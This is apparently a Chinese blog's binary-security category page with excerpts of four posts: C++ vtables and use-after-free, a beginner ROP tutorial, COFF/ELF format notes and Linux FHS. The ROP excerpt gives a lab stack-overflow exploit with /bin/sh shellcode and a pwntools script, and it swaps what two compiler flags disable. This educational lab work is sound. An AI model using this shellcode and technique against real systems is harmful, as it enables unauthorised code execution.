夜间模式暗黑模式
字体
阴影
滤镜
圆角

Category: Binary

4 篇文章

thumbnail
C++虚函数和UAF
0x01 前置知识 虚函数 在C++里面,如果类里面有虚函数,它就会有一个虚函数表的指针__vfptr(virtual function pointer),存放在类对象最开始的内存数据中,在这之后就是类中成员变量的内存数据。对于其子类来说,最开始的内存数据记录着父类对象的拷贝,包括父类虚函数表指针和成员变量,紧接其后的是子类自己的成员变量数据。 BaseClass​   +-------------+   |             |   | __vfptr   | <------+ when virtual   |             |         function exists   +-------------+   |             |   | Base data | +-------------+   |             |               |   +-------------+               | (same as)                                 |Child                           v​   +-------------+         +------------+   |             |         | __vfptr   |   | base copy | +------> +------------+   |             |         | base data |   +-------------+         +------------+   |…
thumbnail
从零开始的ROP(一)
0x00 Preface 这是Linux x86环境下的ROP哦。忠于个人的习惯,首先分析ROP的全称。ROP全称为Return-oriented Programming(返回导向编程),是一种高级的内存攻击技术。接下来看一下各式各样的ROP攻击方法,参考文章为蒸米前辈的《一步一步学ROP》系列(原来在乌云,现在在跳跳糖)。我尽量加入作为初学者的一些想法来看待这些文章,原则上一些不懂的概念就会去查阅并明确指出。 0x01 Control Flow Hijack Control Flow Hijack的意思就是程序流劫持。当然直译其实是控制流劫持。程序流和控制流如果表达同一种意思的话,可以理解为程序由代码控制而一步步依照代码执行。那么ROP的攻击方法就是要在内存上找到可以攻击的漏洞实现“劫持”的操作。文章中说通过程序流劫持,攻击者可以通过控制PC指针从而执行目标代码。而针对这个攻击手段自然有相应的防御手段,常见的有: DEP 堆栈不可执行ASLR 内存地址随机化Stack Protector 栈保护 作为攻击者一方自然要设计出攻击方法能够绕过上述的种种保护措施。文章中写了针对不同的保护措施提出的不同攻击方法,这里我尽量将攻击手法复现并加入我自己的想法。 漏洞程序 #include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); } int main(int argc, char** argv) { vulnerable_function(); write(STDOUT_FILENO, "Hello, World\n", 13); } 编译参数 #bash gcc -fno-stack-protector -z execstack -o level1 level1.c 在shell中执行 sudo -s echo 0 > /proc/sys/kernel/randomize_va_space exit 作用为 -fno-stack-protector 关闭DEP保护-z execstack 关闭Stack Protector保护echo 0 > /proc/sys/kernel/randomize_va_space 关闭整个Linux系统的ASLR保护。 万事俱备!接下来可以看一下源代码的漏洞点,马上就可以发现: read(STDIN_FILENO, buf, 256); 在vulnerable function里面的read函数读取了字符。read函数中第一个参数指定文件流,这里是标准文件输入。第二个与第三个参数想要说明的意思是read函数会把文件流中256个字节数读到buf指针指向的内存空间中,如果成功读入返回读取的字节数,否则返回-1。同时要注意到声明中buf[128]只给定了128个字符的空间。如果说我输入了超过128且小于256个字节的数据的话,超过128个字节的部分会到哪里去呢?我知道的是,这样的溢出情况可以影响到整个程序装载入内存空间的部分,若是能够利用溢出的部分,我们可以实现一些其他的坏坏的功能,我想这是攻击的基本原理。 回到文章,运行程序,输入超过128个字符的数据。这里作者采用了pattern脚本生成了一段字符串数据: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9 很容易发现这串数据是有特点的,规律为三个一组。有规律的字符串可以在后期确定溢出点的精确位置。然后作者的pattern脚本写得挺硬核的,就是一大长串的预设好的字符串,要多长就取多长… talk is cheap,不如使用gdb运行一下程序? gdb ./level1 gdb 很明确的返回给我们了一个内存出错的地址0x37654136,拿到了这个错误的地址我们怎么确定内存溢出点呢? 看这一段 Program received signal SIGSEGV, Segmentation fault. 0x37654136 in ?? () 这段文字想要告诉我们的是,刚才使用的payload(就是那一长串字符)覆盖到了程序的返回地址(就是ret地址)。返回地址长度为四个字节,就是程序返回的0x37654136。这个返回值是可以解析的,原因是上文提到了payload具有一定的规律性。翻了下pattern.py中的源码发现37654136为Ascii码,解析即得6Ae7。而6Ae7是payload中的一段子串,确定其位置就可以确定出偏移量Offset为140。 这时要有一个想法,就是使用payload可以控制程序的返回地址。只要构造一个字符串就可以任意指定返回地址。然后只要在我们指定的返回地址上运行我们自己的坏坏程序就可以达成攻击目的了。 坏坏程序就是shellcode,可以用msf生成,也可以用现成的 https://www.exploit-db.com/exploits/37251 shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc2\xb0\x0b\xcd\x80"; 这一段shellcode的作用是执行execve("/bin/sh")的命令,用于控制目标机的shell。 到这里我们已经有了shellcode和溢出点。接下来的问题就是如何让程序跳转到shellcode的地址上。这里给出一个想法,将shellcode放在buf开头,将要覆盖的地址放在buf的最后。所以,要覆盖的地址就是buf的地址。跳转到buf地址就可以执行保存在buf开头的shellcode。现在的问题就是得到buf的地址啦。为了防止gdb的调试环境使buf内存位置变动,这里采用core dump的方法。 开启core dump功能 ulimit -c unlimited sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern' 开启了这个功能以后,程序出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后通过gdb查看这个文件就可以知道buf地址。 0xffec16c0: "BBBB", 'A' <repeats 153 times>, "\n" 从这一行就可以知道buf的地址为0xffec16c0。由此exp得出: #!/usr/bin/env python from pwn import * p = process('./level1') ret = 0xffec16c0 shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc2\xb0\x0b\xcd\x80" payload = flat([shellcode, 'A'*(140 - len(shellcode)), ret]) p.send(payload) p.interactive() 0x02 Ret2libc 试试只打开DEP。 gcc -fno-stack-protector -o level2 level2.c 记得DEP是堆栈不可执行保护,所以level1的方法失效。那么应该到哪里去找shellcode呢。 提出一点,编译源代码的时候链接了libc.so函数库,函数库中有许多可用函数可供使用。如果能构造出来system("/bin/sh")这样的语句话可以实现getshell。同时注意到ASLR保护没开,意味着system函数在内存中的位置没有变化,同样/bin/sh这个字符串应该可以在libc中找到。先来找找看: 发现一件事情,/bin/sh这个字符串找不到(???我做了个假题???)。那应该怎么办,可以由自己来构造吗?答案是肯定的。甚至可以想如果system函数也不可直接得到,也是有方法可以找到其函数地址的。 首先来泄露__libc_start_main的地址,它是程序最初被执行的地方。 sh = process('./level2') level2 = ELF('./level2') putsPlt…
thumbnail
从零开始的ELF分析(一)
什么是ELF?了解一个英文缩写要首先从它的全称开始看起。ELF的英文全称是Executable and Linkable Format(可执行与可链接格式)。扔掉限定词,ELF就是一种格式。 接着,了解计算机科学中的一个概念,还需要了解它的历史渊源。 在1999年的时候,ELF这种格式被x86架构上的类Unix操作系统的二进制文件标准格式。它被用来取代当时的COFF,取代的原因是ELF具备更强的可扩展性和灵活性,能够应用于其他处理器和其他计算机架构的操作系统上。这里的COFF可以猜到是另外一种文件格式。ELF在很大程度上是基于COFF的具体实现的,我们简要介绍一下COFF。 COFF的全称为Common Object File Format(通用对象文件格式),COFF统一了目标文件的格式为混合语言编程带来了极大的方便。这里的目标文件,就是编译器产生的目标文件,常见后缀为.o和.obj。当然COFF的范围远不限于目标文件,包括在内的还有库文件、可执行文件都是COFF的格式。 COFF的文件数据种类共有8种,分别是 文件头(File Header)可选头(Optional Header)段落头(Section Header)段落数据(Section Data)重定位表(Relocation Directives)行号表(Line Numbers)符号表(Symbol Table)字符串表(String Table) 除了其中的段落头可以有多个节(因为可以有多个段落),其他的部分至多只有一个。接下来分别概述每一个数据种类的作用: 文件头:作为COFF文件的文件头,在其中保存有关该文件的基本信息,像文件标识、各个表的位置等。可选头:顾名思义,可有可无的头。通常在目标文件中都没有这一部分,然而在其他如可执行文件中就存在这个部分,通常用来补充说明文件头中缺失的信息。段落头:用来描述段落信息,每一个段落都有一个段落头来说明,段落的数目也会在文件头中指出。段落数据:通常为COFF中最大的数据段,每个段落保存的真正数据就在这个部分,每一个部分的具体区分方法参见段落头给出的信息。重定位表:通常在目标文件中出现,用来描述COFF文件中符号的重定位信息。重定位指的是把程序的逻辑地址空间变换成内存中的实际物理地址空间的过程,它是实现多个程序在内存中同时运行的基础。符号表:保存COFF中所用到的所有符号的信息。符号表在计算机科学中,是一种用于编译器或解释器中的数据结构。程序的源代码中的每个标识符都和它的声明或使用信息绑定在一起。这个表可以帮助我们重定位符号,在调试程序的时候也得以使用。字符串表:用于保存字符串。在早期符号表是以记录的形式来描述符号信息的,但它只为了符号名称留置了8个字符的空间,显然是不够用的。没有办法只能将名称存放在字符串表中,而符号表中只记录这些字符串的位置。 接下来是逐个段落的详细分析 文件头 文件头是从文件的0偏移处开始的,C语言下的结构描述为 typedef struct { unsigned short usMagic; //魔法数字 unsigned short usNumSec; // 段落(Section)数 unsigned long ulTime; //时间戳 unsigned long ulSymbolOffset; // 符号表偏移 unsigned long ulNumSymbol; // 符号数 unsigned short usOptHdrSZ; // 可选头长度 unsigned short usFlags; // 文件标记 } FILEHDR; usMagic成员是一个魔法数字,可以认定为是一个平台标识,在不同的平台上具有不同的魔法数字,例如在i386平台上,魔法数字为0x014c。usNumSec用来描述段落的数量。ulTime是一个时间戳,它用来描述COFF时间的建立时间。当COFF文件为一个可执行文件时,这个时间戳经常用来当做一个加密比对的标识。ulSymbolOffset表示符号表在文件中的偏移量,是一个绝对偏移量,从文件头开始计数。在COFF中的其他偏移量都是类似的绝对偏移量。ulNumSymbol成员给出了符号表中符号记录的数量。ulOptHdrSZ是可选头的长度,通常为0。其中通过这个成员可以读出可选头的不同长度,不同长度对应了不同可选头的类型,便于进行针对处理。usFlag是COFF的属性标记,标识了COFF文件的类型,文件中所保存的数据等等信息。具体如图 Flag bits 可选头 可选头接在文件头后面,从COFF文件的0x0014偏移处开始。不同长度的可选头结构也不同,标准的可选头长度为24或28字节(28居多)。以28字节为例的头结构如下: typedef struct { unsigned short usMagic; // 魔法数字 unsigned short usVersion; // 版本标识 unsigned long ulTextSize; // 正文(text)段大小 unsigned long ulInitDataSZ; // 已初始化数据段大小 unsigned long ulUninitDataSZ; // 未初始化数据段大小 unsigned long ulEntry; //入口点 unsigned long ulTextBase; // 正文段基址 unsigned long ulDataBase; //数据段基址(在PE32中才有) } OPTHDR; usMagic这时应该是0x010b或0x0107。0x010b表示COFF文件是一个一般的可执行文件。0x0107表示COFF文件是一个ROM镜像文件。usVersion标识COFF文件的版本。ulTextSize表示可执行COFF的正文段长度ulEntry是程序的入口点,也就是COFF文件载入内存时正文段的位置(EIP寄存器的值)。当COFF文件是一个动态库时,入口点就是动态库的入口函数。 段落头 必不可少的节(同样还有文件头)。段落头在可选段的后面(如果可选头的长度为0,即紧跟在文件头后)。长度为40个字节,如下: typedef struct { char cName[8]; // 段名 unsigned long ulVSize; // 虚拟大小 unsigned long ulVAddr; //虚拟地址 unsigned long ulSize; // 段长度 unsigned long ulSecOffset; // 段数据偏移 unsigned long ulRelOffset; // 段重定位表偏移 unsigned long ulLNOffset; // 行号表偏移 unsigned short usNumRel; // 重定位表长度 unsigned short usNumLN; // 行号表长度 unsigned long ulFlags; // 段标识 } SECHDR; cName用来保存段名,常见有.text(正文段、代码段),.data(数据段,保存初始化过的数据),.bss(保存未初始化的数据),.comment(COFF文件的注释信息)。ulVSize是段数据载入内存时的大小。只在可执行文件中有效,在目标文件中为0。如果长度大于段的实际长度,多余部分用0补齐。ulVAddr是段数据载入或链接时的虚拟地址。对于可执行文件来说是相对于文件地址空间而言的段中数据的第一个字节的位置。对于目标文件而言,是重定位时段数据当前位置的一个偏移量,因计算简化通常设为0。ulSize段数据的实际长度。ulSecOffset指的是段数据在COFF文件中的偏移量。ulRelOffset指的是该段的重定位信息的偏移量,指向了重定位表的一个记录。ulNOffset指的是段的行号表的偏移量,指向行号表中的一个记录。usNumRel是重定位信息的记录数。从ulRelOffset指向的记录开始,到第ulNumRel个记录开始都是该段的重定位信息。ulFlags是该段的属性标识,具体值如下图: Flag bits 段落数据 段落数据是保存各个段的数据的位置。在目标文件中,这些数据都是原始数据(Raw Data)。不同类型的段,数据的内容、结构都不相同。 重定位表 重定位表保存的是各个段的重定位信息。可以把整个重定位表看成多个重定位表,每个段落都有一个自己的重定位表,这个表只在目标文件中有,可执行文件不存在这个表。重定位表中每一条记录就是一条重定位信息,如下:…
thumbnail
FHS文件系统层次 浅析
[toc] Part 1 - 为什么要有FHS? [begin]F[/begin]HS的全称是什么呢?FHS是Filesystem Hierarchy Standard的缩写,中文译名为文件系统层次化标准。我们为什么要有FHS这个东西呢?引用一段: 因为利用 Linux 来开发产品或 distribution 的团队实在太多了,如果每个人都用自己的想法来配置文件放置的目录,那么将可能造成很多管理上的困扰。所以,后来就有了 Filesystem Hierarchy Standard(FHS)标准的出炉了。根据 FHS 的官方文件指出,其主要目的是希望让用户可以了解到数据通常放置于哪个目录下。也就是说,FHS 的重点在于规范每个特定的目录下应该要放置什么样子的数据而已。 From VBird's Linux Guide 用自己的话描述一遍差不多就是,在以前在Linux下对于文件夹目录的管理没有一个统一的标准。每个人(不同的distribution开发者)都喜欢把一些系统信息、账户信息、设备信息等存放在不同的特定目录里。这对于自己来说肯定是十分满足的鸭!但是考虑到管理和以后的联网问题,就不得不制定一个统一规定把一些文件放在它们应该在的地方。比如说Windows系统文件就放在那个c盘的Windows文件夹里面,这是不能变的喔。 Part 2 - FHS交互作用形态 文件系统层次根据用户对文件系统的使用和修改频繁程度将目录文件定义为四种交互作用形态: 可分享的:可以给其他系统挂载的目录,一般是能够分享给网络上其他主机挂载用的目录不可分享的:个人机器上运行的设备文件或者端口文件等,不适合分享给其他主机。不变的:不会经常性变动的文件,比只随着系统版本更新而更新的配置文件等。可变动的:经常性变动的文件,比如用户个人文件。 Part 3 - 典型目录举例 根目录(/) 最重要的文件夹,所有的目录都是由该目录衍生出来的。FHS标准建议根目录所在分区应当越小越好,并且安装应用程序最好不与根目录同分区,这样有助于性能优化和系统管理。 执行文件目录(/bin) 执行文件目录不止/bin一个,但是/bin的特别之处在于它放置了在单用户维护模式下还能被操作的命令。在 /bin 下面的命令可以被 root 与一般账号所使用,主要有 cat,chmod,chown,date,mv,mkdir,cp,bash 等。 重要系统执行文件(/sbin) Linux 有非常多的命令是来设置系统环境的,这些命令只有 root 才能够利用来“设置”系统,其他用户最多只能用来“查询”而已。放在 /sbin 下面的为开机过程中所需的,里面包括了开机、修复、还原系统所需要的命令。 服务数据存放目录(/srv) srv == service。是一些网络服务启动之后,这些服务所需要取用的数据目录。常见的服务例如 WWW、FTP 等。举例来说,WWW 服务需要的网页数据就可以放置在 /srv/www/ 里。 临时文件存放目录(/tmp) 这是让一般用户或者是正在执行的程序暂时放置文件的地方。这个目录是任何人都能够访问,所以需要定期清理。当然,重要数据不可放置在此目录,因为系统会不定期将 /tmp 目录下的数据全部删除。 开机文件目录(/boot) 开机要用到的文件咯。 驱动设备目录(/dev) 在 Linux 系统上,任何设备与接口设备都是以文件的形式存在于这个目录当中的。你只要通过访问这个目录下面的某个文件,就等于访问某个设备。比较重要的文件有 /dev/null,/dev/zero,/dev/tty 等。 配置文件目录(/etc) 系统主要的配置文件几乎都放置在这个目录内,例如人员的账号密码文件、各种服务的起始文件等。一般来说,这个目录下的各个文件属性是可以让一般用户查阅的,但只有管理员有权利修改。 用户主文件夹(/home) 这是系统默认的用户主文件夹(home directory)。在你创建一个一般用户账号时,默认的用户主文件夹都会规范到这里来。~ 代表当前用户的主文件夹。 媒体设备暂挂(/media) 这个 /media 下面放置的就是可删除的设备。包括软盘、光盘、DVD等设备都暂时挂载于此。 系统函数库(/lib) 知道#include <stdio.h>是什么意思吧?/lib里面就藏着很多可供调用的函数库。 额外设备暂挂(/mnt) 如果你想要暂时挂载某些额外的设备,一般建议你可以放置到这个目录中。在比较早的时候,这个目录的用途与 /media 相同。只是有了 /media 之后,这个目录就被用来暂时挂载用了。 第三方软件安装目录(/opt) 这个目录是用于安装第三方应用程序的,可以由用户自己指定安装位置。当需要卸载第三方应用程序时,可以直接删除安装目录,而不影响系统其它任何设置。 管理员文件夹(/root) 系统管理员(root)的主文件夹。之所以放在这里,是因为如果进入单用户维护模式而仅挂载根目录时,该目录就能够拥有root的主文件夹,所以我们会希望root的主文件夹与根目录放置在同一个分区中。 虚拟文件系统目录(/sys)(/proc) 这个目录本身是一个虚拟文件系统(virtual filesystem)。它放置的数据都是在内存当中,例如系统内核、进程、外部设备以及网络状态等。因为这个目录下的数据都是在内存当中的,所以本身并不占任何硬盘空间。 系统文件资源目录(/usr) usr不是user的意思哦。其实 usr 是 Unix Software Resource 的缩写,也就是 “UNIX 操作系统软件资源” 所放置的目录,而不是用户的数据,这点需要注意。FHS 建议所有软件开发者应该将他们的数据合理地分别放置到这个目录下的子目录,而不要自行新建该软件的独立目录。 /usr/bin/:绝大部分的用户可使用命令都放在这里/usr/include/:C/C++等程序语言的头文件(header)与包含文件(include)放置处/usr/lib/:包含各应用软件的函数库、目标文件以及一些不被一般用户惯用的执行文件或脚本/usr/local/:系统管理员在本机自行安装下载的软件建议安装到此目录/usr/sbin/:非系统正常运行所需的系统命令/usr/share/:放置共享文件的地方/usr/src/:一般源码放置处 常态可变动文件目录(/var) 该目录主要针对常态性可变动文件,例如MySQL数据库的文件等。如果 /usr 是安装时会占用较大硬盘容量的目录,那么 /var 就是在系统运行后才会渐渐占用硬盘容量的目录。 /var/cache/:应用程序本身运行过程中会产生的一些暂存文件/var/lib/:程序本身执行的过程中,需要使用到的数据文件放置的目录/var/lock/:文件锁。目录下的文件资源一次只能被一个应用程序所使用/var/log/:放置登录文件的目录/var/mail/:放置个人电子邮件信箱的目录/var/run/:某些程序或服务启动后的PID目录/var/spool/:放置排队等待其他应用程程序使用的数据 参考资料 FHS标准官方英文文档鸟哥的Linux私房菜 - 第五章 Linux的档案权限和目录配置